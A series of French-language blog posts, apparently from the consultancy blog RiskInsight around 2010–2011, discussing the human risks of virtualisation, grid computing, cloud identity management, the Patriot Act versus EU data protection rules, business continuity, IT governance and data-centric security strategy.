Si les risques les plus courants de la virtualisation ne proviennent pas de la technique elle-même, ils se situent plutôt dans la gestion de ces nouvelles technologies. La virtualisation introduit dans le SI de nouveaux composants (hyperviseur, consoles…), de nouvelles notions d’infrastructure (réseau virtuel…) et les principaux risques de la virtualisation sont le plus souvent issus d’un défaut d’encadrement liés à ces nouveautés :

• Mauvais usage des consoles d’administration, avec des impacts immédiats « effet boule de neige » en cas de mauvaise configuration : arrêt multiple d’instances, activation de fonctions de décloisonnement…
• Mauvaises pratiques de gestion de la plate-forme de virtualisation, notamment sur les aspects de gestion des inventaires et de capacity planning qui doivent être redéfinis.
• Défaut de séparation des tâches entre les équipes système et réseau, avec tous les risques d’erreur, voire de malveillance, dus à la concentration de ces responsabilités.

Les risques « humains » (erreur, malveillance, absence de séparation des responsabilités) prédominent donc sur des risques « technologiques » relativement moins probables et pouvant être limités grâce à des recommandations classiques.

Un projet de sécurisation de la virtualisation, c’est donc bien entendu un projet d’intégration des nouvelles technologies dans la gouvernance opérationnelle de la sécurité pour traiter les risques techniques liés à son utilisation… Mais aussi et avant tout un projet de réflexion sur les rôles, les responsabilités et les compétences de ses administrateurs, afin de traiter les principaux risques de la virtualisation, à savoir les risques humains ! 

Cet article La virtualisation ne virtualise pas les risques humains ! est apparu en premier sur RiskInsight.

Le 12 octobre dernier, IBM a annoncé le rachat d’un acteur majeur du marché du grid computing : Platform Computing. A cette occasion, nous revenons sur les principes, apports et défis de ce type de technologies peu connu.

1.     Qu’est-ce que le grid computing ?

Le grid computing consiste à mettre en commun des ressources logicielles et matérielles distribuées (ensemble que l’on appelle la « grille ») afin de fournir une puissance de calcul importante. La charge de travail est divisée en sous-tâches qui sont traitées en parallèle par les ressources de la grille, les résultats étant ensuite agrégés dans un résultat global rendu à l’utilisateur.

En anglais, l’emprunt du mot « grid » à l’expression « electric power grid » qui désigne le réseau électrique, traduit bien les promesses du concept : l’utilisateur se branche à la grille qui pourvoit à son besoin. Peu lui importe la complexité du système, l’hétérogénéité ou la distribution des composants, masqués par l’interface d’accès.

Des projets emblématiques donnent le ton, en matière de gigantisme :

• SETI@HOME se présente comme « une expérience scientifique qui utilise des ordinateurs reliés à internet pour la recherche d’une intelligence extraterrestre (SETI) » ; elle tire sa puissance de son « ouverture » aux ordinateurs des internautes volontaires ;
• La grille du LHC, l’accélérateur de particules du CERN,  relie en mode « fermé », plusieurs dizaines de milliers de machines, situées sur trois continents, pour analyser des données.

La puissance des ordinateurs a beau croître, la « gourmandise » de tels projets scientifiques, atteint des niveaux qui justifient ce modèle d’architecture. Dans le sillage des initiatives académiques, l’industrie et le secteur bancaire s’en sont emparés pour résoudre leurs problèmes complexes : valorisation et analyse de risque pour la finance, détection de gisements pour le pétrole, simulation et analyse de crash pour l’automobile. Aujourd’hui, les grilles intéressent les médias, les jeux en ligne, les fournisseurs internet…

2.     Quels bénéfices attendre du grid computing ?

Le grid computing peut apporter beaucoup aux secteurs tant privés que publics pour les projets qui requièrent une quantité importante de puissance de traitement dans une période de temps restreinte.

Les bénéfices attendus d’une grille sont :

• l’amélioration des performances tout en limitant les coûts,
• l’augmentation de la flexibilité d’une infrastructure pour absorber les augmentations d’échelle,
• la haute disponibilité de cette infrastructure faces aux pics de charge.

Les vertus « informatiques » du grid computing se transforment en atouts « métiers » : réduire les temps de calculs, c’est éviter les retards ou gagner du temps pour accroître la compétitivité et/ou pour améliorer ses processus.

Les middlewares « commerciaux » (citons pour l’exemple ceux de Platform Computing, Tibco Datasynapse, GridGain en open source) ont bien saisi ces enjeux. Développés à la suite des grilles académiques par transferts technologiques, ils tirent profit de ces besoins en proposant des solutions sur étagères et leur expertise.

Certes, ils évoluent sur un marché de niche, celui  constitué des clients historiques (banques, industries du pétrole, de l’automobile etc.). Mais avec la croissance exponentielle des volumes d’information, qu’il s’agisse d’événements (CEP) ou de données (Big Data), et la nécessité de les exploiter, le positionnement du grid computing pourrait bien se renforcer.

3.     Quels sont les défis à relever ?

Le concept de grid computing, ainsi que les produits du marché, sont arrivés à maturité au cours de la dernière décennie. Pourtant, il reste encore quelques barrières à franchir pour assister à une démocratisation de cette approche :

• L’expertise et le support des grilles informatiques ont un coût : il faut des techniciens qualifiés pour passer la barrière technologique des produits, ou développer/maintenir une grille « maison », mais aussi « gridifier », c’est-à-dire adapter ou développer des applications pour une exécution sur la grille. A ces coûts s’ajoutent ceux des problématiques connexes tels que le stockage ou le transfert des données.
• De plus, l’infrastructure peut nécessiter un investissement dédié.Chaque entreprise dispose généralement d’un ensemble conséquent d’ordinateurs connectés en réseau mais l’usage en grille de ces ressources existantes n’est pas évident :
  • La tendance à la virtualisation a progressivement optimisé l’usage des ressources serveurs qui sont moins sous-exploités qu’il y a une dizaine d’années.
  • Les préoccupations énergétiques interrogent sur l’intérêt, en entreprise, du modèle des grilles fondées sur des parcs d’ordinateurs peu puissants.

Pour autant, le grid computing n’est pas nécessairement l’apanage des grandes structures. Internet autorise le partage de ressources avec des partenaires extérieurs : des PME, des écoles ou des hôpitaux  peuvent se fédérer pour bâtir des grilles qui leur sont inaccessibles, seuls.

• Les grilles de calcul imposent un modèle d’architecture bien spécifique au sein du SI. De part leur caractère intrusif, elles exigent de trouver des solutions ou des compromis notamment en matière de sécurité mais également de dépasser les aprioris quant aux partages des ressources.

Pour autant, le plus gros des défis, pour les acteurs du marché, sera celui du marketing. Le grid computing doit aujourd’hui savoir se faire entendre face à des concepts phagocytaires car, quand il est question de « computing », le « cloud » vient brouiller les pistes.

Pour l’heure, si l’entrée sur le marché d’IBM ne résout pas ce problème d’image, il confirme en revanche l’intérêt du modèle de « grille » et préfigure une tendance, celle de l’intégration. L’avenir du grid computing est, sans doute, au cœur, mais, dans l’ombre du « cloud ».

Pour lire plus d’articles sur le secteur de l’énergie, cliquez ici.

Cet article Quel avenir pour le grid computing ? est apparu en premier sur RiskInsight.

Une fois de plus les Assises sont un succès, un succès à la fois grâce à une organisation de grande qualité mais aussi du fait de la présence de l’ensemble de la communauté française. RSSI, responsables des risques, DSI, éditeurs, constructeurs et cabinets de conseil, tous étaient là dans une optique de partage et d’échange toujours aussi fructueuse.

Quels sont les sujets d’actualités et les nouveautés rencontrées ?

Les sujets ont tellement été diversifiés qu’il est quasiment impossible de tous les citer. Si je devais le résumer les 3 mots clés les plus rencontrés, je dirais : cloud, consumersation et cybercriminalité. Ils ont été largement débattus et ont fait l’objet de nombreuses annonces innovantes. A l’inverse, je noterais une  plus faible représentation des sujets attenant à la sécurité applicative, pourtant au cœur de la protection aujourd’hui. Enfin, des sujets plus atypiques et prospectifs comme l’IPv6, ont fait leur apparition.

Finalement la gestion de risques et l’évolution du rôle du RSSI ont, une fois de plus, été l’objet de nombreuses discussions dans plusieurs ateliers, dont celui animé par Solucom. Le débat s’est élargi, touchant alors à des problématiques hors « sécurité », avec notamment une intervention de premier plan de Luc Ferry sur la multiplication des peurs dans notre société. J’en retiendrai que la peur ne doit pas être le premier élément de nos réflexions et que la gestion du risque ne doit pas être un frein au développement ou à l’innovation !

L’ANSSI a animé une plénière pour alerter la communauté et lui demander de revenir aux fondamentaux de la sécurité, quelle est votre analyse ?

Je pense qu’aujourd’hui la communauté sécurité connaît bien ces fondamentaux (gestion d’identité, correctifs, antivirus, durcissement…), mais elle est confrontée depuis plus d’une dizaine d’année à la difficulté de les faire appliquer. Les équipes techniques et les métiers rechignent, les directions ne comprennent pas.

Cet état de fait a amené la communauté à s’orienter d’une part autour de la gestion des risques, afin de  concrétiser et d’expliciter en termes « métier » les impacts potentiels, mais aussi d’autre part dans la publication de nombreuses normes ou réglementations pour aider ou « forcer » l’application de ces mesures. Pourtant, cela n’a marché qu’un temps et la plupart de ces initiatives se sont transformées en sécurité « cache sexe » comme le disait Patrick Pailloux. Cela est un vrai drame car ces démarches pourtant de qualité sont trop souvent dévoyées !

A mon sens, aujourd’hui, la communauté sécurité manque de leviers pour convaincre les directions et les métiers. Elle manque également de support managérial pour réellement sanctionner et faire évoluer des pratiques déviantes souvent rencontrées. Les récents incidents médiatiques sont une aide mais la logique du « cela n’arrive qu’aux autres » est encore trop répandue

L’ANSSI, grâce à son message « back to basics », joue un rôle de premier plan. Mais elle pourrait aller plus loin en faisant part régulièrement de leur « thermomètre » du risque tel qu’évoqué durant la plénière afin de faciliter la sensibilisation des donneurs d’ordre.

Il faut arrêter de minimiser l’exposition de la France aux menaces cybercriminelles. L’illusion de sécurité est bien trop répandue aujourd’hui et j’espère que  les messages forts de la plénière aideront à changer cette situation.

Cet article Trois questions à Gérôme Billois sur les Assises 2011 est apparu en premier sur RiskInsight.

La difficulté de la prédictibilité des coûts dans le cloud

Le modèle du cloud nécessite une attention forte pour ne pas perdre au bout de quelques temps les gains économiques escomptés, voire éviter une réelle dérive des coûts. Dans le cloud, comme au sein du SI historique, une gestion fiable des identités est ainsi essentielle pour garantir durablement la maîtrise du nombre d’accédants à ces services.

Bien évidemment, elle vise également à renforcer la protection de l’accès aux informations qui y sont stockées. Elle y est même encore plus indispensable, vu l’absence de garde-fous traditionnellement rencontrés, comme par exemple la « porte d’entrée » Active Directory ou le contrôle d’accès physique.

Gérer les identités dans le cloud : quelles stratégies gagnantes ?

Comment le faire concrètement ? Plusieurs solutions sont envisageables :

–       Gestion manuelle sur le site du service cloud par les équipes de l’entreprise. C’est certes efficace pour lancer rapidement des initiatives cloud, mais il faut prévoir de rencontrer, tout aussi rapidement, toutes les limites bien connues de la gestion manuelle : écart, difficultés de maintien, complexité des revues…

–       Gestion automatisée via un service de provisioning/deprovisioning avec des contrôles a priori (validations) et/ou a posteriori (contrôles et recertifications) : l’accès aux services cloud piloté par les processus et les outils IAM de l’entreprise. Mêmes solutions que dans le SI historique… et mêmes vigilances et bonnes pratiques pour éviter toute désillusion !

–       Gestion automatisée via un service de fédération d’identités : certainement aujourd’hui la solution à privilégier quand cela est possible, puisqu’elle apporte des réponses satisfaisantes aussi bien sur les problématiques de gestion au quotidien qu’en termes d’expérience utilisateur. Après des années de balbutiements où les entreprises n’allaient quasiment jamais plus loin qu’un prototype, les derniers dix-huit mois marquent le réel envol de la fédération avec des réalisations significatives.

–       Gestion automatisée et fédérée par un tiers de confiance, jouant le rôle d’intermédiaire entre l’entreprise et les différents offreurs de services cloud. Des acteurs commencent à se positionner sur ce sujet, mais la classique question de la confiance se pose !

Le cloud : un booster pour les projets IAM

Sujets à traiter, bon sens et bonnes pratiques, priorisation et angles d’attaque, risques et écueils à éviter : la gestion des identités dans le cloud doit relever les mêmes challenges que dans le SI historique.

Et si le cloud était un levier formidable pour d’une part simplifier et fiabiliser les processus et outillages IAM actuels, et d’autre part faire décoller l’usage de nouveaux services IAM de type reporting et recertification ?

Cet article Cloud computing : maîtriser ses coûts grâce à une bonne gestion des identités est apparu en premier sur RiskInsight.

Une nouvelle bataille juridique s’ouvre entre les États-Unis et l’Europe. En jeu cette fois-ci, le Cloud Computing. L’’affiche ? USA Patriot Act Vs. Directive Européenne de protection des données à caractère personnel.

D’un côté, l’USA Patriot Act. Véritable épouvantail de l’externalisation et fer de lance de la lutte antiterroriste US, il autorise les écoutes et la capture de données par les autorités américaines, avec un encadrement judiciaire permettant de le faire à l’insu de leur propriétaire… Il constitue l’argument le plus précieux des opposants de l’hébergement de données aux Etats-Unis.

De l’autre, la Directive européenne pour la protection des données à caractère personnel. Mère européenne de la Loi Informatique et Libertés française, elle encadre fortement le traitement de données en dehors de frontières de l’Union et, plus généralement, leur accès non légitime et non autorisé par le responsable de traitement. Bien plus, elle le rend pénalement responsable de tout accès tiers non signalé aux propriétaires des données.

Au centre, Microsoft. Le géant de Redmond consent des efforts importants pour être en conformité avec les réglementations sur les données à caractère personnel. En particulier, leur adhésion aux principes du Safe Harbor , qui, en dépit de certaines limites, constitue une garantie jugée suffisante par l’Europe pour que soit autorisé le transfert de données à caractère personnel vers une entreprise américaine. D’autre part la mise en place d’un Cloud européen, aux serveurs dédiés et localisés strictement au sein des frontières de l’Union ensuite, offre une solution simple pour la conformité.

A l’origine de la bataille, une conférence dédiée au lancement d’Office 365. Le directeur Royaume-Uni de Microsoft a alors reconnu tout haut ce que bon nombre de spécialistes du secteur murmuraient déjà : son siège social étant domicilié aux Etats-Unis, Microsoft est soumis au droit national… et doit donc appliquer l’USA Patriot Act y compris sur le sol européen.

Et ceci est vrai pour l’ensemble des fournisseurs américains de services de Cloud computing ! Ils pourraient ainsi être amenés à communiquer aux autorités américaines des données de leurs clients européens, en dehors de tout cadre légal national ou communautaire.

Cette transparence soudaine signe-t-elle le début de la fin du Cloud computing made in USA ? ou s’agit-il d’une opportunité de croissance inespérée pour les fournisseurs européens ? Doit-on s’attendre à une migration massive des premiers vers les seconds ?

Ce qui est vécu comme une ingérence américaine sur le terrain législatif communautaire est aujourd’hui examiné par la Commission Européenne, qui s’est saisie du sujet.

Sans préjuger en rien des conclusions des débats d’ores et déjà très animés sur le sujet, cette bataille mérite d’être suivie avec attention.  Et permet de rappeler l’importance d’une analyse de risques, y compris juridiques, avant tout recours à un fournisseur externe…

Cet article La guerre des réglementations aura-t-elle raison du cloud computing? est apparu en premier sur RiskInsight.

Si la continuité d’activité fait partie depuis longtemps des préoccupations de bon nombre d’entreprises, elle demeure néanmoins un sujet d’actualité pour 2011. Même sur le volet informatique, souvent le plus mûr, des évolutions sont à prévoir. Quasiment tous les grands comptes disposent aujourd’hui d’un plan de continuité informatique (PCI) performant, bâti à l’initiative des DSI pour répondre à la dépendance croissante des organisations au SI. Mais cela n’est plus suffisant.

Un PCI soumis aux innovations et aux nouvelles menaces

Le PCI se doit de suivre l’évolution rapide de la production informatique, pour en profiter au mieux. Parmi les innovations marquantes figurent la virtualisation et le cloud computing. La première peut faciliter grandement les opérations de bascule et de redémarrage, parfois même « à chaud » et sans interruption de service. Le second, par la révolution qu’il impose au SI, nécessite la révision intégrale du dispositif de secours.

Au-delà, le cloud computing peut également constituer une solution de secours en soi, alternative aux sites de secours classiques. Mais comme pour la production, il induit des risques pour la sécurité des données, et est souvent encore insuffisamment rassurant quant à la capacité réelle de reprise qu’il apporte.

Parallèlement, les exigences envers les PCI évoluent : en effet, de nouvelles menaces apparaissent régulièrement et ne sont pas couvertes par les plans actuels. La plus prégnante aujourd’hui est sans doute le risque de cyber attaque, choc « extrême » à propos duquel la réflexion s’engage à peine.

Faire mûrir le volet opérationnel

La continuité d’activité ne se limite pas à celle de l’informatique : les réflexions sur la continuité des opérations progressent également. Là encore, les chocs extrêmes constituent une limite forte aux plans actuels. La plupart des organisations savent faire face à l’indisponibilité d’un bâtiment, mais restent souvent démunies face à un sinistre de plus grande ampleur, type crue de Seine. Le traitement de cette problématique sera un des enjeux des années à venir.

Les prestations de services externalisées constituent également un sujet d’attention, compte tenu de leur importance majeure pour la plupart des organisations : comment identifier les prestations réellement clés, quelles exigences fixer aux prestataires, et comment s’assurer du respect des engagements ?

Enfin, la capacité à maintenir dans le temps les plans de continuité d’activité (PCA) est une problématique majeure : adapter en permanence le plan aux évolutions rapides des organisations et du SI nécessite une méthodologie rigoureuse pour capter l’évolution des besoins et des solutions, et vérifier en permanence leur adéquation.

Le déploiement progressif d’une norme ISO sur le sujet en serait-il un levier ? Largement issue de la norme BS 25999, elle adapte la notion de système de management aux processus de continuité d’activité. Les responsables PCA devront bientôt choisir entre se contenter de suivre les bonnes pratiques, ou aller jusqu’à l’alignement voire la certification.

Ne pas oublier les fondamentaux

Bien entendu, ces sujets d’actualité ne doivent par occulter les problématiques classiques de la continuité. Du bilan d’impact sur l’activité au maintien en condition opérationnelle en passant par le choix de la stratégie, le PCA doit rester un processus vivant, sous peine de disposer d’un plan inutile le jour J. Le maintien de cet effort dans un contexte budgétaire contraint est capital. Outre qu’il permettra d’assurer la continuité de l’activité au besoin, ce souci constant offre  aux organisations l’opportunité de progresser sur un sujet de plus en plus sensible, la connaissance et la maîtrise de leurs risques. A ce titre, le PCA est bien plus qu’une simple assurance, et doit rester un sujet d’attention majeur pour les années à venir.

Cet article La continuité d’activité : de nouveaux défis pour 2011 est apparu en premier sur RiskInsight.

Des évolutions technologiques

2010 a été marquée par de fortes évolutions technologiques, et en premier lieu par l’innovation apportée par le cloud. Au-delà des apports fonctionnels et des évolutions techniques, l’approche cloud provient surtout de la diffusion d’un nouveau modèle économique construit autour de la notion de service informatique identifiable, qualifiable et dénombrable pour les utilisateurs finaux. L’approche cloud entraîne pour la DSI des questions d’intégration, de sécurisation et de gouvernance. Intégration des différentes briques de services entre elles (y compris les stratégies de sourcing sous-jacentes), maintien d’un niveau de sécurité acceptable pour les clients de la DSI au regard de leur analyse de risque et remises en cause de la gouvernance et des organisations par un renforcement des capacités des DSI à piloter et orchestrer des services externes.

Des évolutions d’usage

La montée en puissance des réseaux sociaux, la multiplication des terminaux mobiles (smartphones, tablettes) et l’arrivée à maturité des magasins d’applications (Appstore, AndroidMarket, etc.) sont en train de faire une entrée significative dans le monde de l’entreprise après avoir révolutionné les usages privés. Ces nouveaux usages brouillent la frontière entre réseau d’entreprise et internet entre usage professionnel et privé. A l’inverse des années 90, les usagers deviennent souvent mieux équipés à titre personnel que professionnel.

Des évolutions d’approche

Tout d’abord, il y a l’arrivée progressive de la génération Y (née entre la fin des 1970’s et le début des 1990’s) à la tête des entreprises. Cela pèsera fortement sur les orientations informatiques. En parallèle, l’informatique verte restera un sujet clé d’autant que la réalisation d’investissements plus éco responsables deviendra un enjeu financier de taille, surtout face à l’inflation du prix de l’énergie.

Quels impacts sur la gouvernance ?

L’impact de toutes ces évolutions sur l’organisation et la gouvernance des DSI est indéniable et se traduit d’ores et déjà chez un certain nombre de nos clients par un renforcement des fonctions transverses de pilotage, missions régaliennes par définition impossibles à externaliser. Quelques exemples. Le pilotage de l’offre de service, très orienté ces dernières années autour des notions de catalogue de service et d’unité d’œuvre avec pour objectif de mieux expliquer les services offerts par la DSI se renforce fortement sur des aspects économiques avec en ligne de mire la mise en place d’une grille de tarifs comparable à des prix de marché. Le pilotage des budgets SI se professionnalise pour mieux maîtriser les dépenses IT et en démontrer la valeur aux métiers. Le pilotage du portefeuille de projets, bien que complexe à mettre en place, devient un incontournable pour assurer un alignement entre la stratégie des métiers et les projets SI. Préparer 2011, c’est pour nos clients savoir anticiper ces évolutions et analyser leurs impacts pour être en mesure d’améliorer leur performance économique et opérationnelle.

Cet article Des évolutions structurantes pour la gouvernance des SI est apparu en premier sur RiskInsight.

De nombreux incidents ont rythmé l’année. Deux cas ressortent particulièrement : Stuxnet, premier virus ciblant spécifiquement des équipements industriels, Wikileaks et la fuite de données gigantesque qui a touché les Etats-Unis. 2010 a également été une année où de nouveaux usages se sont développés! La virtualisation, qui est maintenant définitivement entrée dans les datacenters, le cloud computing, qui fait ses premières preuves ou encore les smartphones et autres tablettes avec des premiers déploiements métiers mais également des premiers usages innovants d’utilisation d’équipements personnels.

Une nouvelle approche pour de nouveaux enjeux

L’ensemble de ces évènements a aussi montré la limite des approches sécurité classiques. Celles-ci sont basées avant tout sur une protection de l’infrastructure du SI. Nous ajoutons des mécanismes de sécurité sur les différentes briques que sont le poste de travail, le réseau d’entreprise, l’accès Internet, voir le datacenter. Mais cette approche ne permet plus de répondre aux nouveaux enjeux ! En effet l’information est de moins en moins traitée sur les infrastructures de l’organisation. Elle est de plus en plus partagée, avec des partenaires et des clients, accédées depuis des équipements mobiles voir personnels, parfois encore traitées sur des systèmes aux contours plus ou moins connus comme dans le cadre du cloud computing.
Une nouvelle stratégie de réponse doit être envisagée face à ces évolutions, une stratégie qui devra être basé sur un principe simple : protéger au plus près les informations les plus sensibles. En effet pour être efficace et pérenne la sécurité doit se rapprocher de l’information, voir être portée par l’information elle-même, pour pouvoir être mieux partagée tout en étant toujours sécurisée.

Quelles en sont les conséquences ?

Ceci nécessite de planifier des chantiers ambitieux, lié par exemple à la classification des informations les plus sensibles, à la mise en place de mécanismes de protections des données (chiffrement, DRM, DLP…) ou encore à l’inclusion des mesures de sécurité dans les applications (chiffrement, scellement, authentification, processus projet…). Bien entendu les fondamentaux de la gestion des identités jouent un rôle essentiel et devront être encore renforcés pour y ajouter la gestion des partenaires et des clients. Mais il faudra aussi faire évoluer les habitudes, en ayant un focus particulier sur les équipes en charge des applications au cœur de cette nouvelle problématique de protection.L’objectif de 2011 est de faire évoluer nos principes pour aller de la protection de l’infrastructure à une vraie protection des données. Voici une année qui s’annonce donc riche en projets et en challenge !

Cet article 2010 – 2011 : protéger les infrastructures ou protéger les données ? est apparu en premier sur RiskInsight.